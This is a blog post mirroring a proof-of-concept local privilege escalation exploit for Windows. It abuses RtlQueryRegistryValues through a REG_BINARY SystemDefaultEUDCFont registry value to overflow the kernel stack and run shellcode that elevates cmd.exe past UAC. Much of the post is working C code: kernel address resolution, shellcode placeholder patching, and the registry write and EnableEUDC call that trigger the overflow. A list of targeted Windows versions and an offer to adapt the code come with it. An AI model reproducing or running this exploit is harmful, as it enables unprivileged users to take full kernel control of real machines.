Now the reason for this post is just to mirror what I think should be public knowledge and not be kept hidden since it was initially release yesterday. Today when I revisited the original site to download the POC and do some testing in my lab I noticed it was removed. After looking around online a bit I found a few sites there were mirroring the information and I decided to do the same.
Introduction
I would like to present an exploit of an ambiguous parameter in Windows kernel API that leads to buffer overflows under nearly every version of Microsoft Windows, especially one that can be used as a backdoor to Windows user privilege system as well as User Access Control.
The starring API would be RtlQueryRegistryValues, it meant to be used to query multiple registry values by a query table, given the EntryContext field as output buffer. There is a problem that this field can be either treated as a UNICODE_STRING structure or a ULONG buffer length followed by the actual buffer, and this is determined by the type of the registry key being queried.
Using the code
In this example, I found a registry key which can be manipulated with only user rights, by changing its type to REG_BINARY overflows the kernel. When Win32k.sys->NtGdiEnableEudc queries HKCU\EUDC\[Language]\SystemDefaultEUDCFont registry value, it assumes that the registry value is REG_SZ, so the buffer provided on stack is a UNICODE_STRING structure, of which the first ULONG value in this structure represents the length of the string buffer, but if the value in registry is REG_BINARY type, it will be wrongly interpreted as the length of the given buffer, thus overwrites the stack.
Pastebin code –> http://pastebin.com/s6h2VTSc
Stack trace shows the calling process is as follows:
GDI32.EnableEUDC ->
NtGdiEnableEudc ->
GreEnableEUDC ->
sub_BF81B3B4 ->
sub_BF81BA0B ->
RtlQueryRegistryValues (Overflow occurs)
Given this we can design the registry value which will precisely overwrite the return address of the calling function on stack, results in an arbitrary buffer being executed in kernel mode. In my PoC the buffer contains a simple kernel PE loader, which will eventually load a driver that will escalate “cmd.exe” process privilege regardless of UAC.
Pastebin code –> http://pastebin.com/A8hTgCb1
The shellcode need some kernel APIs, we need to get their addresses from the running kernel.
/* code snip
// Get the running kernel file name
HMODULE hDll = GetModuleHandle(L”ntdll.dll”);
pfnZwQuerySystemInformation fnZwQuerySystemInformation = (pfnZwQuerySystemInformation)GetProcAddress(hDll,”ZwQuerySystemInformation”);
PSYSTEM_MODULE_INFORMATIONS pModInfo = NULL;
ULONG AllocSize = 0;
fnZwQuerySystemInformation(SystemModuleInformation, pModInfo, AllocSize, &AllocSize);
pModInfo = (PSYSTEM_MODULE_INFORMATIONS)malloc(AllocSize);
fnZwQuerySystemInformation(SystemModuleInformation, pModInfo, AllocSize, &AllocSize);
HMODULE hKernel = LoadLibraryExA(pModInfo->modinfo[0].ImageName + pModInfo->modinfo[0].ModuleNameOffset, NULL, DONT_RESOLVE_DLL_REFERENCES);
//Relocation to the running kernel base
DWORD Delta = (DWORD)pModInfo->modinfo[0].Base – (DWORD)hKernel;
free(pModInfo);
// For Vista, there is a Pool address on the stack which is going to be passed to ExFreePool before the function returns,
// so we need a valid pool address to avoid BSOD.
if(vi.dwBuildNumber < 7600)
{
FixDWORD(pMem, sizeof(Data), 0xAAAAAAAA, 0x2C);
HANDLE hDummy = CreateSemaphore(NULL, 10, 10, L”Local\\PoC”);
PSYSTEM_HANDLE_INFORMATION pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(sizeof(SYSTEM_HANDLE_INFORMATION));
AllocSize = sizeof(SYSTEM_HANDLE_INFORMATION);
fnZwQuerySystemInformation(SystemHandleInformation, pHandleInfo, AllocSize, &AllocSize);
pHandleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(pHandleInfo, AllocSize);
fnZwQuerySystemInformation(SystemHandleInformation, pHandleInfo, AllocSize, &AllocSize);
for(DWORD i = 0; i < pHandleInfo->NumberOfHandles; i++)
{
if((HANDLE)pHandleInfo->Handles[i].HandleValue == hDummy)
{
*(DWORD*)(RegBuf + 0×4) = (DWORD)(pHandleInfo->Handles[i].Object) – 0×18;
break;
}
}
free(pHandleInfo);
}
else
{
FixDWORD(pMem, sizeof(Data), 0xAAAAAAAA, 0×30);
}
// Now fills the API addresses needed
FixDWORD(pMem, sizeof(Data), 0×11111111, (DWORD)GetProcAddress(hKernel, “ExAllocatePoolWithTag”) + Delta);
FixDWORD(pMem, sizeof(Data), 0×22222222, (DWORD)GetProcAddress(hKernel, “RtlInitAnsiString”) + Delta);
FixDWORD(pMem, sizeof(Data), 0×33333333, (DWORD)GetProcAddress(hKernel, “RtlAnsiStringToUnicodeString”) + Delta);
FixDWORD(pMem, sizeof(Data), 0×44444444, (DWORD)GetProcAddress(hKernel, “MmGetSystemRoutineAddress”) + Delta);
FixDWORD(pMem, sizeof(Data), 0×55555555, (DWORD)GetProcAddress(hKernel, “RtlFreeUnicodeString”) + Delta);
FixDWORD(pMem, sizeof(Data), 0×66666666, (DWORD)GetProcAddress(hKernel, “memcpy”) + Delta);
FixDWORD(pMem, sizeof(Data), 0×77777777, (DWORD)GetProcAddress(hKernel, “memset”) + Delta);
FixDWORD(pMem, sizeof(Data), 0×88888888, (DWORD)GetProcAddress(hKernel, “KeDelayExecutionThread”) + Delta);
FreeLibrary(hKernel);
// Here we tell the shellcode(PE loader) where the driver buffer is.
FixDWORD(pMem, sizeof(Data), 0×11223344, sizeof(DrvBuf));
FixDWORD(pMem, sizeof(Data), 0×55667788, (DWORD)pDrvMem);
/end snip
Pastebin code –>http://pastebin.com/PHVmuBmx
Finally, we set the registry value and call GDI32.EnableEUDC to fire the exploit.
UINT codepage = GetACP();
TCHAR tmpstr[256];
_stprintf_s(tmpstr, TEXT("EUDC\\%d"), codepage); // Get current code page
HKEY hKey;
RegCreateKeyEx(HKEY_CURRENT_USER, tmpstr, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_SET_VALUE | DELETE, NULL, &hKey, NULL);
RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont"));
RegSetValueEx(hKey, TEXT("SystemDefaultEUDCFont"), 0, REG_BINARY, RegBuf, ExpSize);
__try
{
EnableEUDC(TRUE);
}
__except(1)
{
}
RegDeleteValue(hKey, TEXT("SystemDefaultEUDCFont"));
RegCloseKey(hKey);
After running this PoC, just type “whoami” in command prompt to see the escalated user credentials.
Points of Interest
All actions this PoC performs require only user privilege, but result in arbitrary kernel mode code execution due to the ambiguous design of RtlQueryRegistryValues. This design flaw exists in most versions of Windows kernels, yet no patch or documentation is publicly available on this issue.
Additional Information
This PoC may not correctly fix the exploited kernel context and resume execution without BSOD, such as on kernels ealier than 6.1.6000 are not supported, current supported kernels are:
Windows Vista/2008 6.1.6000 x32,
Windows Vista/2008 6.1.6001 x32,
Windows 7 6.2.7600 x32,
Windows 7/2008 R2 6.2.7600 x64.
Beyond this scope you may contact me for information on how to tune the code to work correctly on your kernel or how the shellcode works, etc. Those contents are beyond the scope of this article and of no importance to the exploit, therefore it is not included.
Contact
Me: nooby@safengine.com
History
Initial release: 2010.11.24
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